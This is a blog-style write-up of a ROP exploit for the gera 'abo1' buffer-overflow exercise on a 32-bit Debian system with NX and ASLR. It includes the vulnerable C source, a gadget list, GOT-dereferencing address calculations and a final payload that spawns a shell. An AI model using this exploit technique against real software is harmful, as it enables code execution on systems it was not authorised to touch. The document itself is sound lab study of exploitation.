After my last post, I decided to go straight into the Advance Buffer Overflow (ABO) section and practice more ROP. The first ABO exercise was a straight-forward buffer overflow.
ABO #1 source code:
/* abo1.c *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced... */
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}The environment, as usual, was Debian 2.6.32 with NX and ASLR enabled. The binary can be found here.
lixor@debian:~$ uname -a
Linux debian 2.6.32-5-686-bigmem #1 SMP Thu Nov 3 05:12:00 UTC 2011 i686 GNU/LinuxThe technique that will be used throughout this post is known as “GOT dereferencing.” For the interested reader, you can read about the technique here.
The return address can be found at 268 bytes.
lixor@debian:~/InsecureProgramming/abo1$ ./abo1 $(ruby -e 'print "A"*256 +"BBBBCCCCDDDDEEEE"')
Segmentation fault (core dumped)
lixor@debian:~/InsecureProgramming/abo1$ gdb -q -nx -batch abo1 core
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./abo1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x45454545 in ?? ()
lixor@debian:~/InsecureProgramming/abo1$ I needed the use of two functions for this technique: the targeted function and the pivot function. I used VNSECURITY ROPEME tool to search for gadgets. The binary was rather small so finding certain gadgets was difficult. I was able to find some useful gadgets. The entire gadget list can be found here.
(1) 0x8048392L: pop ebx ; pop ebp ;;
(2) 0x804838bL: xchg ebp eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
(1) 0x8048392L: pop ebx ; pop ebp ;;
(3) 0x804847eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
(4) 0x80483bfL: call eax ; leave ;;I needed to perform some dummy calculations for (2) and (3). Gadget (2) accesses a memory location. EBX must be a valid memory location minus 0x5d5b04c4 (to obtain the intended address). A valid location can be found at the relocation table. I chose 0x080495a8 (gmon_start) for the first EBX in (2) and 0x080495b0 (strcpy) for the second one in (3).
lixor@debian:~/InsecureProgramming/abo1$ readelf -r abo1
...
080495a8 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__
...
080495b0 00000307 R_386_JUMP_SLOT 00000000 strcpyThe calculations for (2) and (3) are simple as shown:
#first dummy value for ebx
lixor@debian:~/InsecureProgramming/abo1$ perl -e 'printf "%x\n", 0x080495a8-0x5d5b04c4 '
aaa990e4
#real value
lixor@debian:~/InsecureProgramming/abo1$ perl -e 'printf "%x\n", 0x080495b0 + 0xb8a0008 '
138e95b8Next, I performed the calculations for the EAX register. EAX will have the offset between system() and strcpy() minus 8 for (2).
lixor@debian:~/InsecureProgramming/abo1$ objdump -T /lib/i686/cmov/libc.so.6 | egrep ' strcpy$|system$'
00072ea0 g DF .text 00000023 GLIBC_2.0 strcpy
00039180 g DF .text 0000007d GLIBC_PRIVATE __libc_system
00039180 w DF .text 0000007d GLIBC_2.0 system
lixor@debian:~/InsecureProgramming/abo1$ perl -e 'printf "%x\n", 0x00039180-0x00072ea0 - 0x8'
fffc62d8Here is a general summary of important values:
1st dummy ebx = 0xaaa990e4 eax = 0xfffc62d8 ebx = 0x138e95b8
The last step was to find a string for system(). A safe option (like in my last post) was to use the string “GNU” from .note.gnu.build-id at 0x08048154.
lixor@debian:~/InsecureProgramming/abo1$ readelf -x .note.gnu.build-id abo1
Hex dump of section '.note.gnu.build-id':
0x08048148 04000000 14000000 03000000 474e5500 ............GNU.
0x08048158 abf92e7c f0e973e4 86c3ba84 9d7a7142 ...|..s......zqB
0x08048168 7122ec44 q".DWith that, the exercise was completed:
lixor@debian:~/InsecureProgramming/abo1$ ln -s /bin/sh GNU
lixor@debian:~/InsecureProgramming/abo1$ export PATH=.:$PATH
lixor@debian:~/InsecureProgramming/abo1$ ./abo1 $(perl -e 'print "A"x268 ."\x92\x83\x04\x08\xe4\x90\xa9\xaa\xd8\x62\xfc\xff\x8b\x83\x04\x08\x92\x83\x04\x08\xb8\x95\x8e\x13AAAA\x7e\x84\x04\x08MOVEPOPPPOPP\xbf\x83\x04\x08\x54\x81\x04\x08"')
$ whoami
lixor
$